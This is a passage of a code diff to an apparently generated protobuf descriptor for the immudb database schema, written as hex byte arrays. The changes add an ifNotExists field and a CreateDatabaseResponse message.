0xc2, + 0x01, 0x0a, 0x0c, 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, + 0x12, 0x0a, 0x04, 0x55, 0x55, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x55, + 0x55, 0x49, 0x44, 0x12, 0x24, 0x0a, 0x0d, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, + 0x54, 0x78, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x63, 0x6f, 0x6d, 0x6d, + 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x44, 0x12, 0x22, 0x0a, 0x0c, 0x63, 0x6f, 0x6d, + 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x41, 0x6c, 0x68, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, + 0x0c, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x41, 0x6c, 0x68, 0x12, 0x2a, 0x0a, + 0x10, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, + 0x44, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x10, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, + 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x44, 0x12, 0x28, 0x0a, 0x0f, 0x70, 0x72, 0x65, + 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x41, 0x6c, 0x68, 0x18, 0x05, 0x20, 0x01, + 0x28, 0x0c, 0x52, 0x0f, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, + 0x41, 0x6c, 0x68, 0x22, 0x2e, 0x0a, 0x08, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, + 0x22, 0x0a, 0x0c, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, + 0x61, 0x6d, 0x65, 0x22, 0xc0, 0x03, 0x0a, 0x10, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, + 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x22, 0x0a, 0x0c, 0x64, 0x61, 0x74, 0x61, + 0x62, 0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, + 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x18, 0x0a, 0x07, + 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x72, + 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x12, 0x28, 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, + 0x79, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, + 0x12, 0x20, 0x0a, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x48, 0x6f, 0x73, 0x74, 0x18, + 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x48, 0x6f, + 0x73, 0x74, 0x12, 0x20, 0x0a, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x6f, 0x72, + 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, + 0x50, 0x6f, 0x72, 0x74, 0x12, 0x28, 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x55, + 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0f, 0x70, + 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x28, + 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, + 0x64, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, + 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x66, 0x69, 0x6c, 0x65, + 0x53, 0x69, 0x7a, 0x65, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, 0x66, 0x69, 0x6c, 0x65, + 0x53, 0x69, 0x7a, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x6d, 0x61, 0x78, 0x4b, 0x65, 0x79, 0x4c, 0x65, + 0x6e, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x6d, 0x61, 0x78, 0x4b, 0x65, 0x79, 0x4c, + 0x65, 0x6e, 0x12, 0x20, 0x0a, 0x0b, 0x6d, 0x61, 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x4c, 0x65, + 0x6e, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x6d, 0x61, 0x78, 0x56, 0x61, 0x6c, 0x75, + 0x65, 0x4c, 0x65, 0x6e, 0x12, 0x22, 0x0a, 0x0c, 0x6d, 0x61, 0x78, 0x54, 0x78, 0x45, 0x6e, 0x74, + 0x72, 0x69, 0x65, 0x73, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0c, 0x6d, 0x61, 0x78, 0x54, + 0x78, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x12, 0x2c, 0x0a, 0x11, 0x65, 0x78, 0x63, 0x6c, + 0x75, 0x64, 0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x54, 0x69, 0x6d, 0x65, 0x18, 0x0c, 0x20, + 0x01, 0x28, 0x08, 0x52, 0x11, 0x65, 0x78, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x43, 0x6f, 0x6d, 0x6d, + 0x69, 0x74, 0x54, 0x69, 0x6d, 0x65, 0x22, 0x92, 0x01, 0x0a, 0x15, 0x43, 0x72, 0x65, 0x61, 0x74, + 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x43, 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, - 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x26, 0x0a, 0x0e, 0x61, 0x6c, 0x72, - 0x65, 0x61, 0x64, 0x79, 0x45, 0x78, 0x69, 0x73, 0x74, 0x65, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, - 0x08, 0x52, 0x0e, 0x61, 0x6c, 0x72, 0x65, 0x61, 0x64, 0x79, 0x45, 0x78, 0x69, 0x73, 0x74, 0x65, - 0x64, 0x22, 0x78, 0x0a, 0x15, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, - 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, - 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, - 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x43, 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, - 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, - 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, - 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x22, 0x79, 0x0a, 0x16, 0x55, - 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, - 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, - 0x65, 0x12, 0x43, 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, - 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, 0x65, - 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x22, 0x19, 0x0a, 0x17, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, - 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x22, 0x7b, 0x0a, 0x18, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, - 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, - 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x43, 0x0a, 0x08, 0x73, 0x65, 0x74, - 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, + 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x20, 0x0a, 0x0b, 0x69, 0x66, 0x4e, + 0x6f, 0x74, 0x45, 0x78, 0x69, 0x73, 0x74, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, + 0x69, 0x66, 0x4e, 0x6f, 0x74, 0x45, 0x78, 0x69, 0x73, 0x74, 0x73, 0x22, 0x99, 0x01, 0x0a, 0x16, + 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x43, 0x0a, 0x08, 0x73, 0x65, + 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, + 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, + 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, + 0x26, 0x0a, 0x0e, 0x61, 0x6c, 0x72, 0x65, 0x61, 0x64, 0x79, 0x45, 0x78, 0x69, 0x73, 0x74, 0x65, + 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0e, 0x61, 0x6c, 0x72, 0x65, 0x61, 0x64, 0x79, + 0x45, 0x78, 0x69, 0x73, 0x74, 0x65, 0x64, 0x22, 0x78, 0x0a, 0x15, 0x55, 0x70, 0x64, 0x61, 0x74, + 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x43, 0x0a, 0x08, + 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x27, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, + 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, + 0x73, 0x22, 0x79, 0x0a, 0x16, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, + 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x43, 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, + 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, + 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, + 0x67, 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x22, 0x19, 0x0a, 0x17, + 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x7b, 0x0a, 0x18, 0x44, 0x61, 0x74, 0x61, 0x62, + 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, + 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, + 0x43, 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, + 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, 0x74, + 0x69, 0x6e, 0x67, 0x73, 0x22, 0x26, 0x0a, 0x0e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, + 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x26, 0x0a, 0x0e, + 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x36, 0x34, 0x12, 0x14, + 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x05, 0x76, + 0x61, 0x6c, 0x75, 0x65, 0x22, 0x25, 0x0a, 0x0d, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, + 0x46, 0x6c, 0x6f, 0x61, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x02, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x24, 0x0a, 0x0c, 0x4e, + 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x12, 0x14, 0x0a, 0x05, 0x76, + 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, + 0x65, 0x22, 0x26, 0x0a, 0x0e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, + 0x69, 0x6e, 0x67, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x2c, 0x0a, 0x14, 0x4e, 0x75, 0x6c, + 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, + 0x73, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, + 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0xd2, 0x0e, 0x0a, 0x18, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, - 0x69, 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x22, 0x26, - 0x0a, 0x0e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, - 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, - 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x26, 0x0a, 0x0e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, - 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x36, 0x34, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, - 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x25, - 0x0a, 0x0d, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x46, 0x6c, 0x6f, 0x61, 0x74, 0x12, - 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x02, 0x52, 0x05, - 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x24, 0x0a, 0x0c, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, - 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x08, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x26, 0x0a, 0x0e, 0x4e, - 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x12, 0x14, 0x0a, - 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, 0x61, - 0x6c, 0x75, 0x65, 0x22, 0x2c, 0x0a, 0x14, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, - 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x76, - 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, - 0x65, 0x22, 0xd2, 0x0e, 0x0a, 0x18, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, - 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x5c, - 0x0a, 0x13, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x65, 0x74, - 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x2a, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x65, 0x70, 0x6c, - 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, - 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x13, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, - 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x39, 0x0a, 0x08, - 0x66, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, - 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x08, 0x66, - 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x3b, 0x0a, 0x09, 0x6d, 0x61, 0x78, 0x4b, 0x65, - 0x79, 0x4c, 0x65, 0x6e, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, - 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x09, 0x6d, 0x61, 0x78, 0x4b, 0x65, - 0x79, 0x4c, 0x65, 0x6e, 0x12, 0x3f, 0x0a, 0x0b, 0x6d, 0x61, 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, - 0x4c, 0x65, 0x6e, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, - 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0b, 0x6d, 0x61, 0x78, 0x56, 0x61, 0x6c, - 0x75, 0x65, 0x4c, 0x65, 0x6e, 0x12, 0x41, 0x0a, 0x0c, 0x6d, 0x61, 0x78, 0x54, 0x78, 0x45, 0x6e, - 0x74, 0x72, 0x69, 0x65, 0x73, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, - 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0c, 0x6d, 0x61, 0x78, 0x54, - 0x78, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x12, 0x49, 0x0a, 0x11, 0x65, 0x78, 0x63, 0x6c, - 0x75, 0x64, 0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x54, 0x69, 0x6d, 0x65, 0x18, 0x0c, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, - 0x52, 0x11, 0x65, 0x78, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x54, - 0x69, 0x6d, 0x65, 0x12, 0x45, 0x0a, 0x0e, 0x6d, 0x61, 0x78, 0x43, 0x6f, 0x6e, 0x63, 0x75, 0x72, - 0x72, 0x65, 0x6e, 0x63, 0x79, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, - 0x61, 0x62, 